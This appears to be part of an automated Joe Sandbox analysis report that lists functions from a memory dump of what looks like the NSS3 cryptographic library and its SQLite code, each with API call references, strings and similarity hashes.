Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 419af0a73cac73a0934dad76af4028de523feb711e00b33873e9765da5dc30d4
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: E931BCB29002159FEB518FA59C017AF77E8EF40258F260164DD24A7B10F771E90AC7F2

Function 6CCE0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CCE0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CCE0F84

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CCFF59B,6CE0890C,?), ref: 6CCE0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CCE0FC1

Part of subcall function 6CD40BE0: malloc.MOZGLUE(6CD38D2D,?,00000000,?), ref: 6CD40BF8
Part of subcall function 6CD40BE0: TlsGetValue.KERNEL32(6CD38D2D,?,00000000,?), ref: 6CD40C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CCE0FDB
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CCE0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CCE1001
PL_FinishArenaPool.NSS3(?), ref: 6CCE1009

Strings

security, xrefs: 6CCE0F5C

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: c0e6d7afe7e22a7aaf65c292e9d824f50949f6596d14059e7ab99dde1dd9fe9b
Instruction ID: 66744a08638a0b33deb3358772ff001f75528d58222d6419aa30d73065d14f12
Opcode Fuzzy Hash: c0e6d7afe7e22a7aaf65c292e9d824f50949f6596d14059e7ab99dde1dd9fe9b
Instruction Fuzzy Hash: B2213671904204ABE710DF24DC40AAF77B4EF4665CF108518FD1897A11FB31E516CBE2

Function 6CCE6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CCE7D8F,6CCE7D8F,?,?), ref: 6CCE6DC8

Part of subcall function 6CD3FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CD3FE08
Part of subcall function 6CD3FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CD3FE1D
Part of subcall function 6CD3FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CD3FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CCE7D8F,?,?), ref: 6CCE6DD5

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CE08FA0,00000000,?,?,?,?,6CCE7D8F,?,?), ref: 6CCE6DF7

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CCE6E35

Part of subcall function 6CD3FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CD3FE29
Part of subcall function 6CD3FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CD3FE3D
Part of subcall function 6CD3FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CD3FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CCE6E4C

Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CE08FE0,00000000), ref: 6CCE6E82

Part of subcall function 6CCE6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CCEB21D,00000000,00000000,6CCEB219,?,6CCE6BFB,00000000,?,00000000,00000000,?,?,?,6CCEB21D), ref: 6CCE6B01
Part of subcall function 6CCE6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CCE6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CCE6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CCE6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CE08FE0,00000000), ref: 6CCE6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CCE7D8F,?,?), ref: 6CCE6FE1

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 0bd1d935ac730e9a91ffdaf6fb281cfef96baff3ab6a6dc74e5610ce9f5d78bb
Instruction ID: 65eb77a4fecb475d22be7b3a0d84e322fa12f766791a18b819679a8f7da9a48e
Opcode Fuzzy Hash: 0bd1d935ac730e9a91ffdaf6fb281cfef96baff3ab6a6dc74e5610ce9f5d78bb
Instruction Fuzzy Hash: 4F719371D20A4A9FDB00CF15DD40BAA77B4BF5A308F154229E908D7B51F770EA94CB90

Function 6CD20FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD21057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD21085
PK11_GetAllTokens.NSS3 ref: 6CD210B1
free.MOZGLUE(?), ref: 6CD21107
PR_SetError.NSS3(00000000,00000000), ref: 6CD21172
free.MOZGLUE(?), ref: 6CD21182
free.MOZGLUE(?), ref: 6CD211A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CD211C5

Part of subcall function 6CD252C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CCFEAC5,00000001), ref: 6CD252DF
Part of subcall function 6CD252C0: EnterCriticalSection.KERNEL32(?), ref: 6CD252F3
Part of subcall function 6CD252C0: PR_Unlock.NSS3(?), ref: 6CD25358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CD211D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CD211F3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: fc973220d3c5d941ba1bc4f7759aee40aca9d22f2221fc7563cb5b176959d2ff
Instruction ID: 328ee9f7594e13a4aa6476850fb16f94423eee01eb2768e75a7aae5ad8529978
Opcode Fuzzy Hash: fc973220d3c5d941ba1bc4f7759aee40aca9d22f2221fc7563cb5b176959d2ff
Instruction Fuzzy Hash: 0E61A3B0E00345DBEB00DF64D941BAAB7B5AF0434CF148129EE19AB761E736ED45CBA1

Function 6CD2ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE10
EnterCriticalSection.KERNEL32(?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CD0D079,00000000,00000001), ref: 6CD2AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AE7F
TlsGetValue.KERNEL32(?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AEF1
free.MOZGLUE(6CD0CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD0CDBB,?), ref: 6CD2AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CD0CDBB,?,6CD0D079,00000000,00000001), ref: 6CD2AF30

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: d338f6afc00955bf641c3f3df47094482d36635ef1c546e427264830e6aadc32
Instruction ID: 696a1c569ae8c64ff067cd83a1409923a6ac180f2c545dd518bd57b949cbfcf4
Opcode Fuzzy Hash: d338f6afc00955bf641c3f3df47094482d36635ef1c546e427264830e6aadc32
Instruction Fuzzy Hash: 9B519EB1A00602EFDB119F25D884A59B7B4FF0431CF144665EA1C9BA21E739F865CBD1

Function 6CD04CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CD0AB7F,?,00000000,?), ref: 6CD04CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CD0AB7F,?,00000000,?), ref: 6CD04CC8
TlsGetValue.KERNEL32(?,6CD0AB7F,?,00000000,?), ref: 6CD04CE0
EnterCriticalSection.KERNEL32(?,?,6CD0AB7F,?,00000000,?), ref: 6CD04CF4
PL_HashTableLookup.NSS3(?,?,?,6CD0AB7F,?,00000000,?), ref: 6CD04D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CD04D10

Part of subcall function 6CD8DD70: TlsGetValue.KERNEL32 ref: 6CD8DD8C
Part of subcall function 6CD8DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CD04D26

Part of subcall function 6CDA9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DC6
Part of subcall function 6CDA9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CDF0A27), ref: 6CDA9DD1
Part of subcall function 6CDA9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDA9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CD04D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CD04DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CD04E02

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: fe737370ab1d3615f6f674ac9ab7aa0983822281199063f78c13f7041623c2fe
Instruction ID: 51819f8c073047277abdc07a614f8a22679c5f46d03441f05a423706846a0cd9
Opcode Fuzzy Hash: fe737370ab1d3615f6f674ac9ab7aa0983822281199063f78c13f7041623c2fe
Instruction Fuzzy Hash: A041C8B5B002059BEB006F29EC40E5A77B8BF15218F054171EC1887721FB31E955CBA2

Function 6CCEBFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCEBFFB

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CCEC015

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CCEC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CCEC04D

Part of subcall function 6CD369E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CD36A47
Part of subcall function 6CD369E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CD36A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CCEC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CCEC07B

Part of subcall function 6CCE8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CCE7310), ref: 6CCE89B8
Part of subcall function 6CCE8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CCE7310), ref: 6CCE89E6
Part of subcall function 6CCE8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CCE8A00
Part of subcall function 6CCE8980: CERT_CopyRDN.NSS3(00000004,00000000,6CCE7310,?,?,00000004,?), ref: 6CCE8A1B
Part of subcall function 6CCE8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CCE8A74

Part of subcall function 6CCE1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CCEC097,00000000,000000B0,?), ref: 6CCE1D2C
Part of subcall function 6CCE1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CCEC09B,00000000,00000000,00000000,?,6CCEC097,00000000,000000B0,?), ref: 6CCE1D3F
Part of subcall function 6CCE1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CCEC087,00000000,000000B0,?), ref: 6CCE1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CCEC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CCEC0C9

Part of subcall function 6CCF2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CCEC0D2,6CCEC0CE,00000000,-000000D4,?), ref: 6CCF2DF5
Part of subcall function 6CCF2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CCEC0CE,00000000,-000000D4,?), ref: 6CCF2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CCEC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCEC0E3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: f787a8a8202bd9ed41b23e58f05402c861c6247fab45f8cf5d6458166b7f3b28
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 482188F2A401056BFB005B65AC81FFB3A6C9B4675CF084135FD04DA647FB25D51A8372

Function 6CCE2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CCE2CDA,?,00000000), ref: 6CCE2E1E

Part of subcall function 6CD3FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CCE9003,?), ref: 6CD3FD91
Part of subcall function 6CD3FD80: PORT_Alloc_Util.NSS3(A4686CD4,?), ref: 6CD3FDA2
Part of subcall function 6CD3FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CD4,?,?), ref: 6CD3FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CCE2E33

Part of subcall function 6CD3FD80: free.MOZGLUE(00000000,?,?), ref: 6CD3FDD1

TlsGetValue.KERNEL32 ref: 6CCE2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CCE2E5E
PL_HashTableLookup.NSS3(?), ref: 6CCE2E71
PL_HashTableRemove.NSS3(?), ref: 6CCE2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CCE2E96
PR_Unlock.NSS3 ref: 6CCE2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCE2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCE2EC5

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: f3aeeaebe70a42545a95b112d5f6ea3fc8f89f1b3f7039f8f84138579ec389f9
Instruction ID: b01cc1eedcf62b84ccd54404de4e5c7ed090283129fe792f7ad08ec600d32695
Opcode Fuzzy Hash: f3aeeaebe70a42545a95b112d5f6ea3fc8f89f1b3f7039f8f84138579ec389f9
Instruction Fuzzy Hash: F5213772A00115A7EF112F24EC09B9B3AB8EB5730EF094430ED18C2721F732D559C2A1

Function 6CCCFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CCCFD18
sqlite3_initialize.NSS3 ref: 6CCCFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCCFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CCCFD99
sqlite3_free.NSS3(00000000), ref: 6CCCFE3C
sqlite3_free.NSS3(?), ref: 6CCCFEE3
sqlite3_free.NSS3(?), ref: 6CCCFEEE

Strings

simple, xrefs: 6CCCFC79

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 6fa23808789787b0036fda486bbc751e65cf4213e348501c40f505c945fe12b6
Instruction ID: a803ee51583e00ff254ae49948583a97d7d782774f8645aa9b9d538d991756cb
Opcode Fuzzy Hash: 6fa23808789787b0036fda486bbc751e65cf4213e348501c40f505c945fe12b6
Instruction Fuzzy Hash: 27916FB0F012059FDB04CF55C980AAABBB2FF85318F25C56DD8199BB52E731E841CBA1

Function 6CCD5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCD5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCD5EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6CCD5E64
%s at line %d of [%.10s], xrefs: 6CCD5EE0
API call with %s database connection pointer, xrefs: 6CCD5EC3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD5ED1
misuse, xrefs: 6CCD5EDB
invalid, xrefs: 6CCD5EBE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: e7426040ebbeb5de3c958ce978a0b219a0f66dd17713e6bb6c4107f96b77d326
Instruction ID: 7bd3bc588f1997a474559c730362c04d35cef5af87b108601eaa9efe3cd41a08
Opcode Fuzzy Hash: e7426040ebbeb5de3c958ce978a0b219a0f66dd17713e6bb6c4107f96b77d326
Instruction Fuzzy Hash: CF81E2B0B056029BEB19DF15C988B6A7371FF4130CF2A0299DA155BF50E734F852CBA2

Function 6CCBDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCBDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCBDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCBDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CCBDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCBDF78

Strings

%s at line %d of [%.10s], xrefs: 6CCBDE61, 6CCBDE90
